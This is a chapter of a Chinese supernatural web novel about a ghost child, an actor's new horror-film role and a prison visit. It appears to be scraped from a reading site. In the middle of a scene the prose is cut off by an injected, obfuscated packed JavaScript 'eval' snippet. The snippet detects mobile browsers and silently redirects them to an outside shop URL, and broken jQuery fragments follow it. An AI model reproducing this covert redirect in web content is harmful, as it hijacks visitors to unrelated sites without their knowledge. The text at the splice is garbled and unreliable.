两天后,施工队来了。
赵若楠站在小院门口,看着工人们往喷泉池里倾倒混凝土。灰色的砂浆翻滚着涌进池子里,吞没池底一次次填埋的痕迹。
她的身体在那夜之后奇迹般恢复了意识,除了点职业病外,别无大碍。主治医生翻着病历啧啧称奇,百思不得其解,说这发病和痊愈都来势汹汹毫无预兆,查不出半点儿原因,这简直可以写进医学史的谜题合集里。
姬且宁站在她旁边。
“你不用亲自来的。”赵若楠理了理鬓发。
“我想来看看,这喷泉到底能不能填平。”姬且宁淡淡道,“我现在才想明白,二十一年不是什么怨念积聚、三七之数,而只是因为,你回来了,他以为他的姐姐回来找他了。”
她的声音顿了顿,“所以这个喷泉池之前才怎么都填不平。因为他害怕一旦喷泉池没了,你就再也找不到他了。”
赵若楠没有回答,只是安静地看着又一车混凝土倾泻而下。
“你知道你爸给李老师付过封口费吗?”姬且宁忽然开口。
赵若楠倏然抬眼,脸上惊疑不似作伪,“怎么会?……他知道?可是,为什么?”
她的语气短促却急切。
“可能是因为,你是他唯一的继承人了吧。继承人身上,又怎么能有污点呢?”姬且宁笑了一下,“所以我们查当年的事查得格外艰难,我至今连小龙的全名都不知道。”
“赵若龙。”赵若楠低声说,“他叫赵若龙。”
姬且宁哑然失笑。姐姐是若楠,弟弟是若龙,这还真是……非常重男轻女的名字。
姬且宁想起赵家老爷子的风评,人人都赞他是最有良心的老一辈企业家,事业做到这么大,还和原配不离不弃,从一而终。膝下独生女精明强干,在一众二代衬托下显得格外出类拔萃,眼见就要带领着赵氏教育集团再上一层楼。外面也没有什么乱七八糟的私生子出来添乱,多好的名声,谁看了都要夸一句。
可是谁都不知道,21年前,这个被寄予厚望的继承人,还是家族中不被看见的女儿。21年后,她曾有过的弟弟,也因“继承人名声不能有污”而被刻意隐去。这个家里好像总有孩子是被遗忘的。
“你父母在那之后再没有生育,”姬且宁忽然问道,“这其中,有你的手笔吗?”
赵若楠沉默片刻,然后微笑了一下,“这重要吗?”
姬且宁没有再追问。是的,不重要了。
喷泉池眼见着被填得差不多了,赵若楠转身准备离去。她眉头微皱,有点不舒服地转了转脖子。
“怎么了?”姬且宁看了她一眼。
“落枕了。”赵若楠捏了捏后颈,“从医院出来后就一直很僵硬,可能是睡觉姿势不对。”
这时,施工队长跑了过来,满头大汗,脸上的表情又是惊叹又是困惑:“赵董,这回顺利得简直不可思议。混凝土倒进去,凝固得比平时快了好几倍,土质也异常稳定。我们干了这么多年,从来没见过这么省心的活儿。”
赵若楠点了点头,淡淡道:“填平就好。”
刚好是课间活动时间,小月亮噔噔噔跑过来,看到赵若楠,她愣了一下,细细打量了她许久。
“小月亮,怎么啦?”赵若楠揉着酸痛的脖颈,对她微笑。
小月亮摇摇头,眼睛一眨不眨盯着赵若楠的脖子——那儿有个只有她看得见的小男孩。
小男孩跨坐在赵若楠的肩膀上,歪着头,非常依恋地靠在姐姐的头顶上,双手死死抱住姐姐的脑袋。他的眼睛是闭着的,嘴角挂着心满意足的微笑,仿佛怀里是他举世无双的珍宝。表情依旧是憨憨的,看起来不太聪明,却很乖。
这才是最终的解决方案,这才是小龙愿意放赵若楠自由的理由。
他不要姐姐的命,他只是要姐姐。
他终于能和他的姐姐,永永远远的在一起了。
…………
小月亮放学后,像个叽叽喳喳的小鸡崽,蹦蹦跳跳地把这件事通报给了各位家长。老母鸡林星意顿时警觉:“那岂不是每天都有个鬼在校园里走来走去?!”
小月亮皱起小眉头,像遇到了什么让小粮食难以理解的笨蛋,纠正道:“不是的哥哥,小龙哥哥有交通工具的,他一步路都不用走。”
然后她用一种非常谴责的目光,批判地看着屡次拒绝成为自己交通工具的林星意。
大人们:“……”
交通工具,你是指赵董吗?
但这事儿确实有点吓人。林星意正默默盘算要不要去求几个手串护身符之类的辟辟邪,姬且宁就突然对他丢出了一个剧本,“你是不是该干点活了?你最近热度还挺高的,有不少剧本找上门求合作,公司挑了一下,觉得这个最合适,你看一眼,没问题就接了吧。”
林星意大眼睛瞪得溜圆,有些受宠若惊,“我现在已经是可以挑本子的咖位了吗?”
他甚至有点热泪盈眶,“我就知道成子那个戏没白拍!哪怕被他坑进鬼屋里我也认了。不枉我专门去练了好久的武打……”
姬且宁欲言又止止言又欲,嘴唇动了动,到底把话咽了回去。
林星意一边美滋滋碎碎念着“不知这回会给我一个怎样风流倜傥的少侠角色呢”,一边兴致勃勃地翻开了剧本。
然后他盯着剧本,目瞪口呆。
看着剧本里满篇的“民国”“恐怖”“少爷”之类的字眼,林星意感觉自己后脖颈嗖嗖冒凉气,难以置信地扭头问姬且宁:“大王,你说我最近热度高,难道是因为……”
姬且宁沉痛点头,“没错,就是因为《今日科学》。大家都觉得在节目里,你实在是怂出了风格,怂出了水平。在一众同行者,尤其是幼年体黑寡妇小月亮的衬托下,显得格外清奇可爱,反而呢,引起了一些……嗯,广泛的兴趣。”
“那……这个热度高具体是体现在……”林星意的手微微颤抖。</p
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17561075|203523||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
>
姬且宁露出了一个甜美到让人不寒而栗的笑容,温声道:“你现在是B站鬼畜专区第一人。”
林星意两眼一黑。
“我不去!”他斩钉截铁道。
姬且宁试图劝说:“这个剧本本身质量真的不错,接呗。你想想,拍恐怖片跟拍《今日科学》有什么区别呢?”
林星意只觉往事不堪回首,忍不住叹息,“拍恐怖片不会真的见鬼啊。”
姬且宁:“……”
见鬼了,这小子说的还真有几分道理。
“而且我问过导演了,这个本子是实景拍摄,地点就在鹿山上的民国别墅群里。”姬且宁迅速调整策略,语气变得非常诱惑,像是要用猫罐头勾引一只躲在沙发底下的胖橘,“金秋十月,正是鹿山最美的时候,漫山红遍,层林尽染,多少人不惜请假也要欣赏……刚好之前也出了幼儿园的事情,你也可以带着小月亮去散散心嘛。这样资金充裕待遇优良的剧组,可不是说有就有的。”
林星意可耻地心动了。脑海里先是漫山红叶,接着是小月亮开开心心捡红叶的身影,最后才模模糊糊飘过一栋黑洞洞阴森森的民国老宅。
他强行把最后那个画面塞进脑海深处的回收站里。
于是他很快就稀里糊涂地远程签订了合同,在姬且宁和谐且志在必得的微笑里收拾了行李,踏上了去鹿山的旅程。
而另一边,帝都女子监狱的会见室里,隔着厚重的玻璃,青年拿起了话筒。
玻璃对面,是一个身材娇小的美妇人,相貌清纯而无害,柔弱如小白花。虽然一看就上了点年纪,但依然楚楚动人,岁月仿佛只给她留下了风韵。她眉眼弯弯,美好得不像是坐在监狱的冷板凳上,而是沐浴在什么温暖的海滩阳光里。
她温柔地笑着,声音轻柔悦耳,仿佛闲话家常,“听说豫州这趟扑了个空?”
青年哑声说是。
美妇人笑意温软,“做咱们这行的,遇见什么事都不出奇。祖师爷不赏这碗饭吃,那咱们就去端下一碗,没关系的。”她话锋一转,语气里多了一丝淡淡的嗔怪,“可是咱们又不是钓鱼佬,非得讲究个贼不走空做什么?没有就算了,你又何必执意把那东西运回来呢?千里迢迢的,你知道风险有多大吗?你张叔路上差点就栽进去了,要不是底下人机灵……”
“回头再说吧。”青年眼神警告性地瞟向一侧的狱警。
美妇人这才意识到自己有些失态,缓了口气,温声道:“那下一步你有什么打算呢?我本来想着这趟能给你爷爷备个厚礼的,没想到……唉。”她轻轻叹了口气,眼神里满是遗憾,“你爷爷年后就要过生日了,再不能拖了,礼物准备好了吗?”
青年眸色深沉,看着眼前娇弱无害的妇人——没人比他更清楚,这娇美外表下包裹的是怎样一颗蛇蝎心肠。他慢慢弯起唇角,露出一颗小小的虎牙,看起来竟有几分孩子气的天真。
“妈,放心,我有点想法了。”